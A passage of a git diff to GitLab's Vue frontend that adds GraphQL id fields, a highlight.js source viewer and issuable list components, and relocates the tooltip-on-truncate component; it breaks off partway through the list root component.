diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql
index 93b9833bb7d..be270e440ed 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql
@@ -4,6 +4,7 @@
query issueAssignees($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
index 48787305459..96a40e597ee 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql
@@ -4,6 +4,7 @@
query issueParticipants($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
__typename
+ id
issuable: issue(iid: $iid) {
__typename
id
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_assignees.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_assignees.query.graphql
index 53f7381760e..81e19e48d75 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_assignees.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_assignees.query.graphql
@@ -3,6 +3,7 @@
query getMrAssignees($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
+ id
issuable: mergeRequest(iid: $iid) {
id
assignees {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
index 6adbd4098f2..3496d5f4a2e 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql
@@ -3,6 +3,7 @@
query getMrParticipants($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
+ id
issuable: mergeRequest(iid: $iid) {
id
participants {
diff --git a/app/assets/javascripts/vue_shared/components/source_editor.vue b/app/assets/javascripts/vue_shared/components/source_editor.vue
index fdf0c9baee3..8a0fef36079 100644
--- a/app/assets/javascripts/vue_shared/components/source_editor.vue
+++ b/app/assets/javascripts/vue_shared/components/source_editor.vue
@@ -96,6 +96,7 @@ export default {
:id="`source-editor-${fileGlobalId}`"
ref="editor"
data-editor-loading
+ data-qa-selector="source_editor_container"
@[$options.readyEvent]="$emit($options.readyEvent)"
>
<pre class="editor-loading-content">{{ value }}</pre>
diff --git a/app/assets/javascripts/vue_shared/components/source_viewer.vue b/app/assets/javascripts/vue_shared/components/source_viewer.vue
new file mode 100644
index 00000000000..8f0d051543f
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/source_viewer.vue
@@ -0,0 +1,88 @@
+<script>
+import { GlSafeHtmlDirective } from '@gitlab/ui';
+import LineNumbers from '~/vue_shared/components/line_numbers.vue';
+
+export default {
+ components: {
+ LineNumbers,
+ },
+ directives: {
+ SafeHtml: GlSafeHtmlDirective,
+ },
+ props: {
+ content: {
+ type: String,
+ required: true,
+ },
+ language: {
+ type: String,
+ required: false,
+ default: 'plaintext',
+ },
+ autoDetect: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ languageDefinition: null,
+ hljs: null,
+ };
+ },
+ computed: {
+ lineNumbers() {
+ return this.content.split('\n').length;
+ },
+ highlightedContent() {
+ let highlightedContent;
+
+ if (this.hljs) {
+ if (this.autoDetect) {
+ highlightedContent = this.hljs.highlightAuto(this.content).value;
+ } else if (this.languageDefinition) {
+ highlightedContent = this.hljs.highlight(this.content, { language: this.language }).value;
+ }
+ }
+
+ return highlightedContent;
+ },
+ },
+ async mounted() {
+ this.hljs = await this.loadHighlightJS();
+
+ if (!this.autoDetect) {
+ this.languageDefinition = await this.loadLanguage();
+ }
+ },
+ methods: {
+ loadHighlightJS() {
+ // With auto-detect enabled we load all common languages else we load only the core (smallest footprint)
+ return this.autoDetect ? import('highlight.js/lib/common') : import('highlight.js/lib/core');
+ },
+ async loadLanguage() {
+ let languageDefinition;
+
+ try {
+ languageDefinition = await import(`highlight.js/lib/languages/${this.language}`);
+ this.hljs.registerLanguage(this.language, languageDefinition.default);
+ } catch (message) {
+ this.$emit('error', message);
+ }
+
+ return languageDefinition;
+ },
+ },
+ userColorScheme: window.gon.user_color_scheme,
+};
+</script>
+<template>
+ <div class="file-content code" :class="$options.userColorScheme">
+ <line-numbers :lines="lineNumbers" />
+ <pre
+ class="code gl-pl-3!"
+ ><code v-safe-html="highlightedContent" class="gl-white-space-pre-wrap!"></code>
+ </pre>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.stories.js b/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.stories.js
deleted file mode 100644
index 00aa5519ec6..00000000000
--- a/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.stories.js
+++ /dev/null
@@ -1,38 +0,0 @@
-/* eslint-disable @gitlab/require-i18n-strings */
-import '@gitlab/ui/dist/utility_classes.css';
-import UsageGraph from './usage_graph.vue';
-
-export default {
- component: UsageGraph,
- title: 'vue_shared/components/storage_counter/usage_graph',
-};
-
-const Template = (args, { argTypes }) => ({
- components: { UsageGraph },
- props: Object.keys(argTypes),
- template: '<usage-graph v-bind="$props" />',
-});
-
-export const Default = Template.bind({});
-Default.argTypes = {
- rootStorageStatistics: {
- description: 'The statistics object with all its fields',
- type: { name: 'object', required: true },
- defaultValue: {
- buildArtifactsSize: 400000,
- pipelineArtifactsSize: 38000,
- lfsObjectsSize: 4800000,
- packagesSize: 3800000,
- repositorySize: 39000000,
- snippetsSize: 2000112,
- storageSize: 39930000,
- uploadsSize: 7000,
- wikiSize: 300000,
- },
- },
- limit: {
- description:
- 'When a limit is set, users will see how much of their storage usage (limit) is used. In case the limit is 0 or the current usage exceeds the limit, it just renders the distribution',
- defaultValue: 0,
- },
-};
diff --git a/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.vue b/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.vue
deleted file mode 100644
index c33d065ff4b..00000000000
--- a/app/assets/javascripts/vue_shared/components/storage_counter/usage_graph.vue
+++ /dev/null
@@ -1,148 +0,0 @@
-<script>
-import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
-import { numberToHumanSize } from '~/lib/utils/number_utils';
-import { s__ } from '~/locale';
-
-export default {
- components: {
- GlIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- rootStorageStatistics: {
- required: true,
- type: Object,
- },
- limit: {
- required: true,
- type: Number,
- },
- },
- computed: {
- storageTypes() {
- const {
- buildArtifactsSize,
- pipelineArtifactsSize,
- lfsObjectsSize,
- packagesSize,
- repositorySize,
- storageSize,
- wikiSize,
- snippetsSize,
- uploadsSize,
- } = this.rootStorageStatistics;
- const artifactsSize = buildArtifactsSize + pipelineArtifactsSize;
-
- if (storageSize === 0) {
- return null;
- }
-
- return [
- {
- name: s__('UsageQuota|Repositories'),
- style: this.usageStyle(this.barRatio(repositorySize)),
- class: 'gl-bg-data-viz-blue-500',
- size: repositorySize,
- },
- {
- name: s__('UsageQuota|LFS Objects'),
- style: this.usageStyle(this.barRatio(lfsObjectsSize)),
- class: 'gl-bg-data-viz-orange-600',
- size: lfsObjectsSize,
- },
- {
- name: s__('UsageQuota|Packages'),
- style: this.usageStyle(this.barRatio(packagesSize)),
- class: 'gl-bg-data-viz-aqua-500',
- size: packagesSize,
- },
- {
- name: s__('UsageQuota|Artifacts'),
- style: this.usageStyle(this.barRatio(artifactsSize)),
- class: 'gl-bg-data-viz-green-600',
- size: artifactsSize,
- tooltip: s__('UsageQuota|Artifacts is a sum of build and pipeline artifacts.'),
- },
- {
- name: s__('UsageQuota|Wikis'),
- style: this.usageStyle(this.barRatio(wikiSize)),
- class: 'gl-bg-data-viz-magenta-500',
- size: wikiSize,
- },
- {
- name: s__('UsageQuota|Snippets'),
- style: this.usageStyle(this.barRatio(snippetsSize)),
- class: 'gl-bg-data-viz-orange-800',
- size: snippetsSize,
- },
- {
- name: s__('UsageQuota|Uploads'),
- style: this.usageStyle(this.barRatio(uploadsSize)),
- class: 'gl-bg-data-viz-aqua-700',
- size: uploadsSize,
- },
- ]
- .filter((data) => data.size !== 0)
- .sort((a, b) => b.size - a.size);
- },
- },
- methods: {
- formatSize(size) {
- return numberToHumanSize(size);
- },
- usageStyle(ratio) {
- return { flex: ratio };
- },
- barRatio(size) {
- let max = this.rootStorageStatistics.storageSize;
-
- if (this.limit !== 0 && max <= this.limit) {
- max = this.limit;
- }
-
- return size / max;
- },
- },
-};
-</script>
-<template>
- <div v-if="storageTypes" class="gl-display-flex gl-flex-direction-column w-100">
- <div class="gl-h-6 gl-my-5 gl-bg-gray-50 gl-rounded-base gl-display-flex">
- <div
- v-for="storageType in storageTypes"
- :key="storageType.name"
- class="storage-type-usage gl-h-full gl-display-inline-block"
- :class="storageType.class"
- :style="storageType.style"
- data-testid="storage-type-usage"
- ></div>
- </div>
- <div class="row py-0">
- <div
- v-for="storageType in storageTypes"
- :key="storageType.name"
- class="col-md-auto gl-display-flex gl-align-items-center"
- data-testid="storage-type-legend"
- >
- <div class="gl-h-2 gl-w-5 gl-mr-2 gl-display-inline-block" :class="storageType.class"></div>
- <span class="gl-mr-2 gl-font-weight-bold gl-font-sm">
- {{ storageType.name }}
- </span>
- <span class="gl-text-gray-500 gl-font-sm">
- {{ formatSize(storageType.size) }}
- </span>
- <span
- v-if="storageType.tooltip"
- v-gl-tooltip
- :title="storageType.tooltip"
- :aria-label="storageType.tooltip"
- class="gl-ml-2"
- >
- <gl-icon name="question" :size="12" />
- </span>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
deleted file mode 100644
index c5fdb5fc242..00000000000
--- a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
+++ /dev/null
@@ -1,69 +0,0 @@
-<script>
-import { GlTooltipDirective as GlTooltip } from '@gitlab/ui';
-import { isFunction } from 'lodash';
-import { hasHorizontalOverflow } from '~/lib/utils/dom_utils';
-
-export default {
- directives: {
- GlTooltip,
- },
- props: {
- title: {
- type: String,
- required: false,
- default: '',
- },
- placement: {
- type: String,
- required: false,
- default: 'top',
- },
- truncateTarget: {
- type: [String, Function],
- required: false,
- default: '',
- },
- },
- data() {
- return {
- showTooltip: false,
- };
- },
- watch: {
- title() {
- // Wait on $nextTick in case of slot width changes
- this.$nextTick(this.updateTooltip);
- },
- },
- mounted() {
- this.updateTooltip();
- },
- methods: {
- selectTarget() {
- if (isFunction(this.truncateTarget)) {
- return this.truncateTarget(this.$el);
- } else if (this.truncateTarget === 'child') {
- return this.$el.childNodes[0];
- }
-
- return this.$el;
- },
- updateTooltip() {
- const target = this.selectTarget();
- this.showTooltip = hasHorizontalOverflow(target);
- },
- },
-};
-</script>
-
-<template>
- <span
- v-if="showTooltip"
- v-gl-tooltip="{ placement }"
- :title="title"
- class="js-show-tooltip gl-min-w-0"
- >
- <slot></slot>
- </span>
- <span v-else class="gl-min-w-0"> <slot></slot> </span>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.stories.js b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.stories.js
new file mode 100644
index 00000000000..f27901a30a9
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.stories.js
@@ -0,0 +1,88 @@
+/* eslint-disable @gitlab/require-i18n-strings */
+import TooltipOnTruncate from './tooltip_on_truncate.vue';
+
+const defaultWidth = '250px';
+
+export default {
+ component: TooltipOnTruncate,
+ title: 'vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue',
+};
+
+const createStory = ({ ...options }) => {
+ return (_, { argTypes }) => {
+ const comp = {
+ components: { TooltipOnTruncate },
+ props: Object.keys(argTypes),
+ template: `
+ <div class="gl-bg-blue-50" :style="{ width }">
+ <tooltip-on-truncate :title="title" :placement="placement" class="gl-display-block gl-text-truncate">
+ {{title}}
+ </tooltip-on-truncate>
+ </div>
+ `,
+ ...options,
+ };
+
+ return comp;
+ };
+};
+
+export const Default = createStory();
+Default.args = {
+ width: defaultWidth,
+ title: 'Hover on this text to see the content in a tooltip.',
+};
+
+export const NoOverflow = createStory();
+NoOverflow.args = {
+ width: defaultWidth,
+ title: "Short text doesn't need a tooltip.",
+};
+
+export const Placement = createStory();
+Placement.args = {
+ width: defaultWidth,
+ title: 'Use `placement="right"` to display this tooltip at the right.',
+ placement: 'right',
+};
+
+const TIMEOUT_S = 3;
+
+export const LiveUpdates = createStory({
+ props: ['width', 'placement'],
+ data() {
+ return {
+ title: `(loading in ${TIMEOUT_S}s)`,
+ };
+ },
+ mounted() {
+ setTimeout(() => {
+ this.title = 'Content updated! The content is now overflowing so we use a tooltip!';
+ }, TIMEOUT_S * 1000);
+ },
+});
+LiveUpdates.args = {
+ width: defaultWidth,
+};
+LiveUpdates.argTypes = {
+ title: {
+ control: false,
+ },
+};
+
+export const TruncateTarget = createStory({
+ template: `
+ <div class="gl-bg-black" :style="{ width }">
+ <tooltip-on-truncate class="gl-display-flex" :truncate-target="truncateTarget" :title="title">
+ <div class="gl-m-5 gl-bg-blue-50 gl-text-truncate">
+ {{ title }}
+ </div>
+ </tooltip-on-truncate>
+ </div>
+ `,
+});
+TruncateTarget.args = {
+ width: defaultWidth,
+ truncateTarget: 'child',
+ title: 'Wrap in container and use `truncate-target="child"` prop.',
+};
diff --git a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue
new file mode 100644
index 00000000000..09414e679bb
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue
@@ -0,0 +1,85 @@
+<script>
+import { GlTooltipDirective, GlResizeObserverDirective } from '@gitlab/ui';
+import { isFunction, debounce } from 'lodash';
+import { hasHorizontalOverflow } from '~/lib/utils/dom_utils';
+
+const UPDATE_TOOLTIP_DEBOUNCED_WAIT_MS = 300;
+
+export default {
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ GlResizeObserver: GlResizeObserverDirective,
+ },
+ props: {
+ title: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ placement: {
+ type: String,
+ required: false,
+ default: 'top',
+ },
+ truncateTarget: {
+ type: [String, Function],
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ tooltipDisabled: true,
+ };
+ },
+ computed: {
+ classes() {
+ if (this.tooltipDisabled) {
+ return '';
+ }
+ return 'js-show-tooltip';
+ },
+ tooltip() {
+ return {
+ title: this.title,
+ placement: this.placement,
+ disabled: this.tooltipDisabled,
+ };
+ },
+ },
+ watch: {
+ title() {
+ // Wait on $nextTick in case the slot width changes
+ this.$nextTick(this.updateTooltip);
+ },
+ },
+ created() {
+ this.updateTooltipDebounced = debounce(this.updateTooltip, UPDATE_TOOLTIP_DEBOUNCED_WAIT_MS);
+ },
+ mounted() {
+ this.updateTooltip();
+ },
+ methods: {
+ selectTarget() {
+ if (isFunction(this.truncateTarget)) {
+ return this.truncateTarget(this.$el);
+ } else if (this.truncateTarget === 'child') {
+ return this.$el.childNodes[0];
+ }
+ return this.$el;
+ },
+ updateTooltip() {
+ this.tooltipDisabled = !hasHorizontalOverflow(this.selectTarget());
+ },
+ onResize() {
+ this.updateTooltipDebounced();
+ },
+ },
+};
+</script>
+
+<template>
+ <span v-gl-tooltip="tooltip" v-gl-resize-observer="onResize" :class="classes" class="gl-min-w-0">
+ <slot></slot>
+ </span>
+</template>
diff --git a/app/assets/javascripts/issuable_create/components/issuable_create_root.vue b/app/assets/javascripts/vue_shared/issuable/create/components/issuable_create_root.vue
index f4cbaba9313..f4cbaba9313 100644
--- a/app/assets/javascripts/issuable_create/components/issuable_create_root.vue
+++ b/app/assets/javascripts/vue_shared/issuable/create/components/issuable_create_root.vue
diff --git a/app/assets/javascripts/issuable_create/components/issuable_form.vue b/app/assets/javascripts/vue_shared/issuable/create/components/issuable_form.vue
index c216a05bdb0..c216a05bdb0 100644
--- a/app/assets/javascripts/issuable_create/components/issuable_form.vue
+++ b/app/assets/javascripts/vue_shared/issuable/create/components/issuable_form.vue
diff --git a/app/assets/javascripts/issuable_list/components/issuable_bulk_edit_sidebar.vue b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar.vue
index 5ca9e50d854..5ca9e50d854 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_bulk_edit_sidebar.vue
+++ b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar.vue
diff --git a/app/assets/javascripts/vue_shared/issuable/list/components/issuable_item.vue b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_item.vue
new file mode 100644
index 00000000000..0bb0e0d9fb0
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_item.vue
@@ -0,0 +1,303 @@
+<script>
+import { GlLink, GlIcon, GlLabel, GlFormCheckbox, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { isScopedLabel } from '~/lib/utils/common_utils';
+import { differenceInSeconds, getTimeago, SECONDS_IN_DAY } from '~/lib/utils/datetime_utility';
+import { isExternal, setUrlFragment } from '~/lib/utils/url_utility';
+import { __, n__, sprintf } from '~/locale';
+import IssuableAssignees from '~/issuable/components/issue_assignees.vue';
+import timeagoMixin from '~/vue_shared/mixins/timeago';
+
+export default {
+ components: {
+ GlLink,
+ GlIcon,
+ GlLabel,
+ GlFormCheckbox,
+ GlSprintf,
+ IssuableAssignees,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [timeagoMixin],
+ props: {
+ issuableSymbol: {
+ type: String,
+ required: true,
+ },
+ issuable: {
+ type: Object,
+ required: true,
+ },
+ enableLabelPermalinks: {
+ type: Boolean,
+ required: true,
+ },
+ labelFilterParam: {
+ type: String,
+ required: false,
+ default: 'label_name',
+ },
+ showCheckbox: {
+ type: Boolean,
+ required: true,
+ },
+ checked: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ issuableId() {
+ return getIdFromGraphQLId(this.issuable.id);
+ },
+ createdInPastDay() {
+ const createdSecondsAgo = differenceInSeconds(new Date(this.issuable.createdAt), new Date());
+ return createdSecondsAgo < SECONDS_IN_DAY;
+ },
+ author() {
+ return this.issuable.author;
+ },
+ webUrl() {
+ return this.issuable.gitlabWebUrl || this.issuable.webUrl;
+ },
+ authorId() {
+ return getIdFromGraphQLId(this.author.id);
+ },
+ isIssuableUrlExternal() {
+ return isExternal(this.webUrl);
+ },
+ reference() {
+ return this.issuable.reference || `${this.issuableSymbol}${this.issuable.iid}`;
+ },
+ labels() {
+ return this.issuable.labels?.nodes || this.issuable.labels || [];
+ },
+ labelIdsString() {
+ return JSON.stringify(this.labels.map((label) => getIdFromGraphQLId(label.id)));
+ },
+ assignees() {
+ return this.issuable.assignees?.nodes || this.issuable.assignees || [];
+ },
+ createdAt() {
+ return getTimeago().format(this.issuable.createdAt);
+ },
+ updatedAt() {
+ return sprintf(__('updated %{timeAgo}'), {
+ timeAgo: getTimeago().format(this.issuable.updatedAt),
+ });
+ },
+ issuableTitleProps() {
+ if (this.isIssuableUrlExternal) {
+ return {
+ target: '_blank',
+ };
+ }
+ return {};
+ },
+ taskStatus() {
+ const { completedCount, count } = this.issuable.taskCompletionStatus || {};
+ if (!count) {
+ return undefined;
+ }
+
+ return sprintf(
+ n__(
+ '%{completedCount} of %{count} task completed',
+ '%{completedCount} of %{count} tasks completed',
+ count,
+ ),
+ { completedCount, count },
+ );
+ },
+ notesCount() {
+ return this.issuable.userDiscussionsCount ?? this.issuable.userNotesCount;
+ },
+ showDiscussions() {
+ return typeof this.notesCount === 'number';
+ },
+ showIssuableMeta() {
+ return Boolean(
+ this.hasSlotContents('status') || this.showDiscussions || this.issuable.assignees,
+ );
+ },
+ issuableNotesLink() {
+ return setUrlFragment(this.webUrl, 'notes');
+ },
+ },
+ methods: {
+ hasSlotContents(slotName) {
+ return Boolean(this.$slots[slotName]);
+ },
+ scopedLabel(label) {
+ return isScopedLabel(label);
+ },
+ labelTitle(label) {
+ return label.title || label.name;
+ },
+ labelTarget(label) {
+ if (this.enableLabelPermalinks) {
+ const value = encodeURIComponent(this.labelTitle(label));
+ return `?${this.labelFilterParam}[]=${value}`;
+ }
+ return '#';
+ },
+ /**
+ * This is needed as an independent method since
+ * when user changes current page, `$refs.authorLink`
+ * will be null until next page results are loaded & rendered.
+ */
+ getAuthorPopoverTarget() {
+ if (this.$refs.authorLink) {
+ return this.$refs.authorLink.$el;
+ }
+ return '';
+ },
+ },
+};
+</script>
+
+<template>
+ <li
+ :id="`issuable_${issuableId}`"
+ class="issue gl-display-flex! gl-px-5!"
+ :class="{ closed: issuable.closedAt, today: createdInPastDay }"
+ :data-labels="labelIdsString"
+ :data-qa-issue-id="issuableId"
+ >
+ <gl-form-checkbox
+ v-if="showCheckbox"
+ class="issue-check gl-mr-0"
+ :checked="checked"
+ :data-id="issuableId"
+ @input="$emit('checked-input', $event)"
+ >
+ <span class="gl-sr-only">{{ issuable.title }}</span>
+ </gl-form-checkbox>
+ <div class="issuable-main-info">
+ <div data-testid="issuable-title" class="issue-title title">
+ <gl-icon
+ v-if="issuable.confidential"
+ v-gl-tooltip
+ name="eye-slash"
+ :title="__('Confidential')"
+ :aria-label="__('Confidential')"
+ />
+ <gl-icon
+ v-if="issuable.hidden"
+ v-gl-tooltip
+ name="spam"
+ :title="__('This issue is hidden because its author has been banned')"
+ :aria-label="__('Hidden')"
+ />
+ <gl-link class="issue-title-text" dir="auto" :href="webUrl" v-bind="issuableTitleProps">
+ {{ issuable.title }}
+ <gl-icon v-if="isIssuableUrlExternal" name="external-link" class="gl-ml-2" />
+ </gl-link>
+ <span
+ v-if="taskStatus"
+ class="task-status gl-display-none gl-sm-display-inline-block! gl-ml-3"
+ data-testid="task-status"
+ >
+ {{ taskStatus }}
+ </span>
+ </div>
+ <div class="issuable-info">
+ <slot v-if="hasSlotContents('reference')" name="reference"></slot>
+ <span v-else data-testid="issuable-reference" class="issuable-reference">
+ {{ reference }}
+ </span>
+ <span class="gl-display-none gl-sm-display-inline">
+ <span aria-hidden="true">&middot;</span>
+ <span class="issuable-authored gl-mr-3">
+ <gl-sprintf :message="__('created %{timeAgo} by %{author}')">
+ <template #timeAgo>
+ <span
+ v-gl-tooltip.bottom
+ :title="tooltipTitle(issuable.createdAt)"
+ data-testid="issuable-created-at"
+ >
+ {{ createdAt }}
+ </span>
+ </template>
+ <template #author>
+ <slot v-if="hasSlotContents('author')" name="author"></slot>
+ <gl-link
+ v-else
+ :data-user-id="authorId"
+ :data-username="author.username"
+ :data-name="author.name"
+ :data-avatar-url="author.avatarUrl"
+ :href="author.webUrl"
+ data-testid="issuable-author"
+ class="author-link js-user-link"
+ >
+ <span class="author">{{ author.name }}</span>
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </span>
+ <slot name="timeframe"></slot>
+ </span>
+ &nbsp;
+ <span v-if="labels.length" role="group" :aria-label="__('Labels')">
+ <gl-label
+ v-for="(label, index) in labels"
+ :key="index"
+ :background-color="label.color"
+ :title="labelTitle(label)"
+ :description="label.description"
+ :scoped="scopedLabel(label)"
+ :target="labelTarget(label)"
+ :class="{ 'gl-ml-2': index }"
+ size="sm"
+ />
+ </span>
+ </div>
+ </div>
+ <div class="issuable-meta">
+ <ul v-if="showIssuableMeta" class="controls">
+ <li v-if="hasSlotContents('status')" class="issuable-status">
+ <slot name="status"></slot>
+ </li>
+ <li v-if="assignees.length">
+ <issuable-assignees
+ :assignees="assignees"
+ :icon-size="16"
+ :max-visible="4"
+ img-css-classes="gl-mr-2!"
+ class="gl-align-items-center gl-display-flex gl-ml-3"
+ />
+ </li>
+ <slot name="statistics"></slot>
+ <li
+ v-if="showDiscussions"
+ data-testid="issuable-discussions"
+ class="issuable-comments gl-display-none gl-sm-display-block"
+ >
+ <gl-link
+ v-gl-tooltip.top
+ :title="__('Comments')"
+ :href="issuableNotesLink"
+ :class="{ 'no-comments': !notesCount }"
+ class="gl-reset-color!"
+ >
+ <gl-icon name="comments" />
+ {{ notesCount }}
+ </gl-link>
+ </li>
+ </ul>
+ <div
+ v-gl-tooltip.bottom
+ class="gl-text-gray-500 gl-display-none gl-sm-display-inline-block"
+ :title="tooltipTitle(issuable.updatedAt)"
+ data-testid="issuable-updated-at"
+ >
+ {{ updatedAt }}
+ </div>
+ </div>
+ </li>
+</template>
diff --git a/app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue
new file mode 100644
index 00000000000..2f8401b45f0
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_list_root.vue
@@ -0,0 +1,363 @@
+<script>
+import { GlAlert, GlKeysetPagination, GlSkeletonLoading, GlPagination } from '@gitlab/ui';
+import { uniqueId } from 'lodash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { updateHistory, setUrlParams } from '~/lib/utils/url_utility';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+import { DEFAULT_SKELETON_COUNT } from '../constants';
+import IssuableBulkEditSidebar from './issuable_bulk_edit_sidebar.vue';
+import IssuableItem from './issuable_item.vue';
+import IssuableTabs from './issuable_tabs.vue';
+
+const VueDraggable = () => import('vuedraggable');
+
+export default {
+ vueDraggableAttributes: {
+ animation: 200,
+ ghostClass: 'gl-visibility-hidden',
+ tag: 'ul',
+ },
+ components: {
+ GlAlert,
+ GlKeysetPagination,
+ GlSkeletonLoading,
+ IssuableTabs,
+ FilteredSearchBar,
+ IssuableItem,
+ IssuableBulkEditSidebar,
+ GlPagination,
+ VueDraggable,
+ },
+ props: {
+ namespace: {
+ type: String,
+ required: true,
+ },
+ recentSearchesStorageKey: {
+ type: String,
+ required: true,
+ },
+ searchInputPlaceholder: {
+ type: String,
+ required: true,
+ },
+ searchTokens: {
+ type: Array,
+ required: true,
+ },
+ sortOptions: {
+ type: Array,
+ required: true,
+ },
+ urlParams: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ initialFilterValue: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ initialSortBy: {
+ type: String,
+ required: false,
+ default: 'created_desc',
+ },
+ issuables: {
+ type: Array,
+ required: true,
+ },
+ tabs: {
+ type: Array,
+ required: true,
+ },
+ tabCounts: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ currentTab: {
+ type: String,
+ required: true,
+ },
+ issuableSymbol: {
+ type: String,
+ required: false,
+ default: '#',
+ },
+ issuablesLoading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showPaginationControls: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showBulkEditSidebar: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ defaultPageSize: {
+ type: Number,
+ required: false,
+ default: 20,
+ },
+ totalItems: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ currentPage: {
+ type: Number,
+ required: false,
+ default: 1,
+ },
+ previousPage: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ nextPage: {
+ type: Number,
+ required: false,
+ default: 2,
+ },
+ enableLabelPermalinks: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ labelFilterParam: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ isManualOrdering: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ useKeysetPagination: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ hasNextPage: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ hasPreviousPage: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ error: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ checkedIssuables: {},
+ };
+ },
+ computed: {
+ skeletonItemCount() {
+ const { totalItems, defaultPageSize, currentPage } = this;
+ const totalPages = Math.ceil(totalItems / defaultPageSize);
+
+ if (totalPages) {
+ return currentPage < totalPages
+ ? defaultPageSize
+ : totalItems % defaultPageSize || defaultPageSize;
+ }
+ return DEFAULT_SKELETON_COUNT;
+ },
+ allIssuablesChecked() {
+ return this.bulkEditIssuables.length === this.issuables.length;
+ },
+ /**
+ * Returns all the checked issuables from `checkedIssuables` map.
+ */
+ bulkEditIssuables() {
+ return Object.keys(this.checkedIssuables).reduce((acc, issuableId) => {
+ if (this.checkedIssuables[issuableId].checked) {
+ acc.push(this.checkedIssuables[issuableId].issuable);
+ }
+ return acc;
+ }, []);
+ },
+ issuablesWrapper() {
+ return this.isManualOrdering ? VueDraggable : 'ul';
+ },
+ },
+ watch: {
+ issuables(list) {
+ this.checkedIssuables = list.reduce((acc, issuable) => {
+ const id = this.issuableId(issuable);
+ acc[id] = {
+ // By default, an issuable is not checked,
+ // But if `checkedIssuables` is already
+ // populated, use existing value.
+ checked:
+ typeof this.checkedIssuables[id] !== 'boolean'
+ ? false
